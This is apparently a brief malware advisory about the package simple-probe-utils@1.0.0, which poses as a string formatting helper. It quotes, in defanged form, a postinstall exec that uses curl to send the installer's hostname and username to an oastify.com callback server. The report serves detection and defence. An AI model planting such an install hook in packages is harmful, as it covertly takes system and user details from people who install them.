simple-probe-utils@1.0.0

Analysis

The package runs a postinstall script that executes curl to exfiltrate the system hostname and username to an external callback server. The script at postinstall.js calls exec('curl -s "hxxp://pzs5w7ntzhsnepwk564lyfdci3oucl0a[.]oastify[.]com/probe?h=$(hostname)&u=$(whoami)"'), sending the hostname and current user to the interactsh-style domain pzs5w7ntzhsnepwk564lyfdci3oucl0a[.]oastify[.]com via HTTP GET. The package description ("string formatting helper") does not match this behaviour.